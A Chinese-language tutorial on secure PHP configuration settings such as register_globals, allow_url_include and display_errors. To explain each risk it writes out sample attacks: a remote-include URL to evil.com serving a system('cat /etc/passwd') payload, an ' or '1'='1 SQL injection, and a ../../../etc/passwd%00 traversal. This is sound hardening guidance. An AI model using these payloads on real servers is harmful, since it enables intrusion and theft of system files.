PHP作为一门强大的脚本语言被越来越多的web应用程序采用，不规范的php安全配置可能会带来敏感信息泄漏、SQL注射、远程包含等问题，规范的安全配置可保障最基本的安全环境。下面我们分析几个会引发安全问题的PHP配置，并给出建议的选项。
1、 register_globals = Off
PHP在进程启动时，会根据register_globals的设置，判断是否将$_GET、$_POST、$_COOKIE、$_ENV、$_SERVER、$REQUEST等数组变量里的内容自动注册为全局变量。
我们举个例子来说明register_globals = On时，会引发的安全问题：
<?php
if (authenticated_user())
$authorized = true;
?>
// 由于authorized 未被初始化，故而可能通过register_globals被定义
// 如 GET example.php?authorized=1
<?php if (!$authorized):
// 一些重要的操作，比如SetCookies
include(“SetCookies.php”);
?>
对于上述代码，由于PHP会自动的为每个提交的值创建一个变量，这样只要在请求中提交http://example.com/example.php?authorized=1,即可获得授权操作，为了避免出现这样的问题，建议将register_globals配置为Off。
2、 allow_url_include =Off
PHP通过此选项控制是否允许通过include/require来执行一个远程文件(如http://evil.com/evil.php或ftp://evil.com/evil.php)。
代码示例如下：
// http://HostA/test.php如下：
<?php
$strParam = $_GET[‘param‘];
if (!include_once($strParam.’.php’)){
echo “error”;
}
?>
// http://evil.com/evil.php示例如下：
<?php
echo "<?php system(‘cat/etc/passwd‘); ?>"
?>
假如用户访问如下的URL，访问页面中的$strParam将被设置为一个远程的URL：http://evil.com/evil.php。如果此配置被设置为on，那么test.php会通过include_once执行远程服务器上的PHP文件（http://evil.com/evil.php），后果不言而喻。
http://HostA/test.php?param=http://evil.com/evil
所以建议此选项强制配置为Off。
当然要彻底解决上述代码的安全漏洞，除了规范PHP配置，还需要规范PHP编码。
3、 magic_quotes_gpc = on
举一个典型的SQL注入示例，假如SQL语句用如下方式拼接：
select * from user where pass=’ “. $_GET[‘passwd’]. ”‘ and user=‘” . $_GET[‘username’] .”‘;
假如用户提交一个login.php?passwd=p&username=’ or ‘1’=’1请求，代码中的SQL语句将变成：
这就造成一个SQL注入漏洞。避免此问题出现的正确思路是开发者在拼接SQL语句之前过滤所有接收的数值，并严格执行这种编码规范，但是并不是所有的开发者都会意识到这种问题的存在，而此时，如果将php.ini的magic_quotes_gpc设置为On时，PHP将对所有GPC参数($_GET,$_POST,$_COOKIE)进行addslashes处理[既转义单引号、双引号、反斜线和nullbyte]，该SQL语句将是：
由于’已经被转义，SQL语句不能被成功执行，从而防止SQL注射。
另外，以小节2中的http://HostA/test.php为例，当magic_quotes_gpc= Off的情况下，用户提交一个example.php?param=../../../etc/passwd%00请求，由于代码中限制的文件后缀（.php）将被%00截断，就会通过require_once尝试读取/etc/passwd文件。
值得注意的是，magic_quotes_gpc配置为On时，有以下缺点：
1、 php此时会对所有GPC参数做addslashes处理，会有比较大的性能损耗。
2、 当GPC参数被用于其他操作如逻辑关系判断之前就必须先做strislashes处理，否则结果必然是不正确的。
考虑到开启此选项带来的性能损耗和代码的复杂化，可以在使用时灵活设置，对于一些不规范或者无人维护的代码，可以开启此选项；更好的做法是将此值设置为Off，由开发者严格过滤来自用户的输入。
4、 expose_php = Off
我们经常会在一个http头里发现这样的信息：
X-Powered-By:PHP/5.2.11
PHP的版本号暴露无疑，攻击者很容易捕获到此信息，要想解决此问题我们只要如下配置
;;;;;;;;;;;;;;;;;
; Miscellaneous ;
;;;;;;;;;;;;;;;;;
; Decides whether PHP may expose the fact thatit is installed on the server
; (e.g. by adding its signature to the Webserver header). It is no security
; threat in any way, but it makes it possibleto determine whether you use PHP
; on your server or not.
; http://php.net/expose-php
expose_php = On
该配置项默认为On，需要修改为Off。
5、 display_errors = Off
此控制项控制PHP是否将error、notice、warning日志打印出来，以及打印的位置。错误信息主要用于辅助开发，但是在线上环境却非常危险，因为这样将会把服务端的WebServer、数据库、PHP代码部署路径，甚至是数据库连接、数据表等关键信息暴露出去，为攻击者带来极大便利。所以建议产品上线时修改为Off。
6、 error_reporting = E_ALL& ~E_NOTICE
此配置项控制PHP打印哪些错误日志（errors，warnings，notices）。默认情况下会打印所有的错误日志，线上环境我们应该不显示具体的E_NOTICE日志信息。
导致E_NOTICE错误的最普遍场景是——使用未经初始化的变量，以下述代码为例：
// 假如用户请求中无username 参数，则会打印notice错误
<?php
// 假如用户请求中无username 参数，则会打印notice错误
$username = $_GET[‘username’];
// 引用一个未初始化的变量var2
// 则会打印notice错误
$var1 = $var2;
?>
如果用户访问的url中没有指定username参数，则代码中$_GET[‘username’]就是一个未经初始化的变量，直接访问就会抛出一个NOTICE错误。上述代码执行会报如下错误,这样即泄漏了代码目录。
PHP Notice: Undefined index: username in /somepath/test.php on line 3
PHP Notice: Undefined variable: var2 in /somepath/test.php on line 6
攻击者会利用这些信息，猜测代码逻辑，使得攻击变得更方便。
7、 display_startup_errors =Off
php启动时产生的错误由此选项进行控制，这个和display_errors是分开的。为了避免PHP进城启动时产生的错误被打印到页面上而造成信息泄漏，此选项在线上服务也应该被配置为Off。
为了方便开发和调试，开发环境可以将其设置为On。
由此我们可以看出，正确的PHP基础安全配置可有效避免很多高危漏洞，避免泄漏服务器敏感信息，从而提升产品的安全性。